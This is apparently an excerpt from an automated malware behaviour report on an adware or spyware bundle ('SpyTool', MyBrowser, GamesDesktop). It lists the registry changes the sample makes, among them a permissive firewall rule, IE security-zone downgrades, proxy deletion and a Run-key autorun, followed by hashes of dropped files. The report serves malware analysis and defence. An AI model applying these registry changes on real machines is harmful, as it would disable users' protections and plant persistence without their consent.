[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKLM\SOFTWARE\RegisteredApplications]
"MyBrowser" = "Software\Clients\StartMenuInternet\MyBrowser\Capabilities"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"webcal" = "CRSBRWSHTML"

[HKLM\SOFTWARE\MyBrowser\Installer]
"InstallerError" = "0"

[HKCR\ftp]
"URL Protocol" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKCR\ftp\shell\open\command]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe -- %1"

[HKCR\HTTP\shell\open\ddeexec]
"(Default)" = ""

[HKLM\SOFTWARE\MyBrowser\Installer]
"InstallerResult" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"UninstallString" = "%Program Files%\MyBrowser\MyBrowser\Application\39.5.2171.95\Installer\setup.exe --uninstall --system-level"

[HKCR\https\shell\open\ddeexec]
"(Default)" = ""

[HKCR\CRSBRWSHTML\DefaultIcon]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe,0"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"sms" = "CRSBRWSHTML"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\mybrowser.exe]
"Path" = "%Program Files%\MyBrowser\MyBrowser\Application"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9F 3D F6 B0 C3 CD A7 A8 A4 9D BC 4C 97 FF FD 14"

[HKLM\SOFTWARE\MyBrowser\Installer]
"InstallerExtraCode1" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Classes\https\DefaultIcon]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe,0"

[HKCR\HTTP\shell\open\command]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe -- %1"

[HKCR\https\DefaultIcon]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe,0"

[HKCR\CRSBRWSHTML\shell\open\command]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe -- %1"

[HKCR\.shtml\OpenWithProgids]
"CRSBRWSHTML" = ""

[HKCU\Software\Classes\https\shell]
"(Default)" = "open"

[HKCR\.webp\OpenWithProgids]
"CRSBRWSHTML" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"NoModify" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\FileAssociations]
".htm" = "CRSBRWSHTML"

[HKCR\HTTP]
"URL Protocol" = ""

[HKCU\Software\Classes\http\shell]
"(Default)" = "open"

[HKCR\HTTP\shell]
"(Default)" = "open"

[HKLM\SOFTWARE\MyBrowser\Installer]
"oopcrashes" = "1"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"mms" = "CRSBRWSHTML"

[HKCU\Software\Classes\http]
"URL Protocol" = ""

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\InstallInfo]
"ReinstallCommand" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe --make-default-browser"

[HKCR\.shtml]
"(Default)" = "CRSBRWSHTML"

[HKCU\Software\Classes\https]
"URL Protocol" = ""

[HKLM\SOFTWARE\MyBrowser\Installer]
"InstallerSuccessLaunchCmdLine" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe"
"UninstallString" = "%Program Files%\MyBrowser\MyBrowser\Application\39.5.2171.95\Installer\setup.exe"

[HKCR\.xht]
"(Default)" = "CRSBRWSHTML"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"urn" = "CRSBRWSHTML"

[HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components]
"(Default)" = "MyBrowser"

[HKLM\SOFTWARE\MyBrowser\Installer]
"ap" = "-stage:preconditions"

[HKCR\HTTP\DefaultIcon]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe,0"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"tel" = "CRSBRWSHTML"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"NoRepair" = "1"

[HKCU\Software\Classes\.htm]
"(Default)" = "CRSBRWSHTML"

[HKCR\https]
"URL Protocol" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\FileAssociations]
".xht" = "CRSBRWSHTML"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCR\.htm]
"(Default)" = "CRSBRWSHTML"

[HKCR\.htm\OpenWithProgids]
"CRSBRWSHTML" = ""

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\FileAssociations]
".webp" = "CRSBRWSHTML"

[HKCU\Software\Classes\ftp\shell\open\ddeexec]
"(Default)" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"Publisher" = "The MyBrowser Authors"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"news" = "CRSBRWSHTML"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"Version" = "39.5.2171.95"

[HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components]
"Localized Name" = "MyBrowser"

[HKLM\SOFTWARE\Clients\StartMenuInternet]
"(Default)" = "MyBrowser"

[HKCR\CRSBRWSHTML]
"(Default)" = "MyBrowser HTML Document"

[HKLM\SOFTWARE\MyBrowser\Installer]
"pv" = "39.5.2171.95"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"DisplayName" = "MyBrowser"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\FileAssociations]
".shtml" = "CRSBRWSHTML"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\InstallInfo]
"ShowIconsCommand" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe --show-icons"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"ftp" = "CRSBRWSHTML"

[HKCR\ftp\shell\open\ddeexec]
"(Default)" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Classes\.xhtml]
"(Default)" = "CRSBRWSHTML"

[HKCR\ftp\shell]
"(Default)" = "open"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser]
"(Default)" = "MyBrowser"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\InstallInfo]
"HideIconsCommand" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe --hide-icons"

[HKCR\.xhtml\OpenWithProgids]
"CRSBRWSHTML" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"InstallLocation" = "%Program Files%\MyBrowser\MyBrowser\Application"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKCR\CLSID\{2A563926-CF4B-4363-A760-F71E46205B7E}\LocalServer32]
"ServerExecutable" = "%Program Files%\MyBrowser\MyBrowser\Application\39.5.2171.95\delegate_execute.exe"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities]
"ApplicationIcon" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe,0"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"http" = "CRSBRWSHTML"

[HKCU\Software\Clients\StartmenuInternet]
"(Default)" = "MyBrowser"

[HKCU\Software\Classes\https\shell\open\command]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe -- %1"

[HKCU\Software\Classes\http\shell\open\command]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe -- %1"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\FileAssociations]
".html" = "CRSBRWSHTML"

Adds a rule to the firewall Windows which allows any network activity:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\%Program Files%\MyBrowser\MyBrowser\Application]
"mybrowser.exe" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe:*:Enabled:MyBrowser"

The SpyTool deletes the following value(s) in system registry:

[HKLM\SOFTWARE\MyBrowser\Installer]
"ap"
"InstallerExtraCode1"

The process %original file name%.exe:396 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "92 6E FB C1 96 F0 22 3C B4 E3 0F EF 52 2F 18 84"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The SpyTool modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The SpyTool modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The SpyTool modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The SpyTool deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process gmsd_re_005010095.exe:1336 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7E 36 7C 7A 57 FA C9 EB 75 C4 7E 38 63 2E 62 A0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

The process nst1D.tmp:1520 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6F 76 AF 80 7C 8C 4B D9 8B 1C FB 10 3C A8 61 46"

[HKLM\SOFTWARE\Crossbrowse]
"Preinstall" = "1"

[HKCU\Software\Crossbrowse]
"Preinstall" = "1"

The process nss2D.tmp:1436 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4D 7A 40 51 11 50 07 B0 FB 73 F3 55 70 3C EC B9"

The process nss2D.tmp:372 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKCU\Software\Tutorials\updv]
"Version" = "15.09.22"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKLM\SOFTWARE\GAMESDESKTOP\gmsd_re_005010095]
"PathInstall" = "%Program Files%\gmsd_re_005010095"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\gmsd_re_005010095_is1]
"DisplayName" = "GamesDesktop 092.005010095"
"HelpLink" = "http://re.gamesdesktop.com"
"Inno Setup: Icon Group" = "GAMESDESKTOP"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\gmsd_re_005010095_is1]
"Inno Setup: App Path" = "%Program Files%\gmsd_re_005010095"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\gmsd_re_005010095_is1]
"Inno Setup: Setup Version" = "5.5.6 (a)"
"Inno Setup: User" = "%CurrentUserName%"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\gmsd_re_005010095_is1]
"Inno Setup: Language" = "re"
"URLUpdateInfo" = "http://re.gamesdesktop.com"
"URLInfoAbout" = "http://re.gamesdesktop.com"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\TutoTag]
"OnceInstalled" = "re"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\gmsd_re_005010095_is1]
"NoModify" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Tutorials\updatetutorialshp]
"MainDir" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\gmsd_re_005010095_is1]
"UninstallString" = "%Program Files%\gmsd_re_005010095\unins000.exe"
"InstallLocation" = "%Program Files%\gmsd_re_005010095\"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Tinstalls]
"20150923" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\gmsd_re_005010095_is1]
"NoRepair" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKCU\Software\Microsoft]
"Tinstalls" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F7 62 BA 88 22 79 66 B8 2F 44 97 13 4C D9 22 98"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\gmsd_re_005010095_is1]
"Publisher" = "GAMESDESKTOP"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\gmsd_re_005010095_is1]
"QuietUninstallString" = "%Program Files%\gmsd_re_005010095\unins000.exe /SILENT"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\TutoTag]
"AgenceInstalledYet" = "true"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\gmsd_re_005010095_is1]
"InstallDate" = "20150923"

[HKCU\Software\TutoTag]
"OnceInstalled2" = "re"

To automatically run itself each time Windows is booted, the SpyTool adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"gmsd_re_005010095" = "%Program Files%\gmsd_re_005010095\gmsd_re_005010095.exe"

The SpyTool deletes the following registry key(s):

[HKCU\Software\Microsoft\Active Setup\Installed Components\{22d6f312-b0f6-11d0-94ab-0080c74c7e95}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\>{881dd1c5-3dcf-431b-b061-f3f88e8be88a}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{2179C5D3-EBFF-11CF-B6FD-00AA00B4E220}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{5945c046-1e7d-11d1-bc44-00c04fd912be}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{44BBA840-CC51-11CF-AAFA-00AA00B6015C}]
[HKCU\Software\Microsoft\Active Setup]
[HKCU\Software\Microsoft\Active Setup\Installed Components\>{60B49E34-C7CC-11D0-8953-00A0C90347FF}MICROS]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{44BBA848-CC51-11CF-AAFA-00AA00B6015C}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{89B4C1CD-B018-4511-B0A1-5476DBF70820}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{7790769C-0471-11d2-AF11-00C04FA35D02}]
[HKCU\Software\Microsoft\Active Setup\Installed Components]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4340}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{2C7339CF-2B09-4501-B3F3-F3508C9228ED}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\>{26923b43-4d38-484f-9b9e-de460746276c}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{44BBA842-CC51-11CF-AAFA-00AA00B6015B}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{4b218e3e-bc98-4770-93d3-2731b9329278}]
[HKCU\Software\Microsoft\Active Setup\Installed Components\{6BF52A52-394A-11d3-B153-00C04F79FAA6}]

Dropped PE files

MD5	File path
9075c4f875f9eba81949a8dc531da2aa	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Application Data\gmsd_re_005010095\upgmsd_re_005010095.exe
c8ce26b81e2160a03cee3fe0f4ad4463	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\4895\setup.exe
690f4b16c53bec409e4f465cfb4231a3	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\6895.exe
2a5f246b97d00f77b78d15f72923839b	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Uninstall.exe
c0157ad57d34d1d608adea523b228266	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\bitool.dll
2b7007ed0262ca02ef69d8990815cbeb	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsc2B.tmp\registry.dll
fce81f5d5e6baabe8eb9f87a1bb3599c	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsd1B.tmp
8b16108c0c44ded56acac28b90f3d1d2	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsi39.tmp
9aab96604304c60644a4cd6e798c3936	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsjA.tmp
20f288aa7d995a4bfcb240b66383ebf4	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsm34.tmp
5a239128c89ae851f011ef1536a02cbd	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsr4.tmp
0116a50101c4107a138a588d1e46fca5	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nst37.tmp\Banner.dll
b140459077c7c39be4bef249c2f84535	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nst37.tmp\Math.dll
c17103ae9072a06da581dec998343fc1	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nst37.tmp\System.dll
e541458cfe66ef95ffbea40eaaa07289	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nst37.tmp\inetc.dll
0745ff646f5af1f1cdd784c06f40fce9	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nst37.tmp\md5dll.dll
c10e04dd4ad4277d5adc951bb331c777	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nst37.tmp\nsDialogs.dll
42df1fbaa87567adf2b4050805a1a545	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nst37.tmp\xml.dll
f02155fa3e59a8fc48a74a236b2bb42e	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsz10.tmp\inetc.dll
690f4b16c53bec409e4f465cfb4231a3	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\setup[1].exe
ff7d4d6986b438f0c3c8541171bd3abe	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\36e0f22eacad857de2cd3b76aedc24a7[1].exe
de1d13fd66394f3169bc06422cd60ea0	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\setup_gmsd_re[1].exe
c0157ad57d34d1d608adea523b228266	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\BiTool[1].dll
ceea099a2589b086940ea7e1333a3ad9	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\cmmdWriter[1].exe
5c9336efb1faf577655bcd88a444c26b	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\56xtF[1].exe
5925c8698cc2f0f44edc9f5dd61fc7cd	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\Bundle_CPUminer[1].exe
2a5f246b97d00f77b78d15f72923839b	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\Validate[1].exe
8b16108c0c44ded56acac28b90f3d1d2	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\setup[1].exe
20f288aa7d995a4bfcb240b66383ebf4	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\smt[1].exe
c8ce26b81e2160a03cee3fe0f4ad4463	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\Installer\chrmstp.exe
c8ce26b81e2160a03cee3fe0f4ad4463	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\Installer\setup.exe
e6b0bc04dca07169abfc4456c4671307	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\PepperFlash\pepflashplayer.dll
0bcd0698977726a660321b4fec8f4a5e	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\chrome.dll
6d64fd7d8a69a39ed4ddcf0cd8d26b4b	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\chrome_child.dll
72f70472e350b35290839f3e2802b4f4	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\chrome_elf.dll
c81e0c917d5db4fecd2ec3c7e2712bbf	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\d3dcompiler_46.dll
634ec1dc874c89711b94b5c279987d66	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\delegate_execute.exe
6e98034de60d2e96b4bbb148bbeabadb	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\ffmpegsumo.dll
17baa5fcf3b9206cc0395a7cc38be7ac	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\libegl.dll
2b8929f7edc2df8925066cb0e7067365	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\libexif.dll
a25f20a5664891bc292970bd23acbf21	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\libglesv2.dll
302f011627a16ce5555e39ec53d4fbdd	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\metro_driver.dll
814cb49f7706f681723ea9b5746987e4	c:\Program Files\MyBrowser\MyBrowser\Application\39.5.2171.95\nacl64.exe
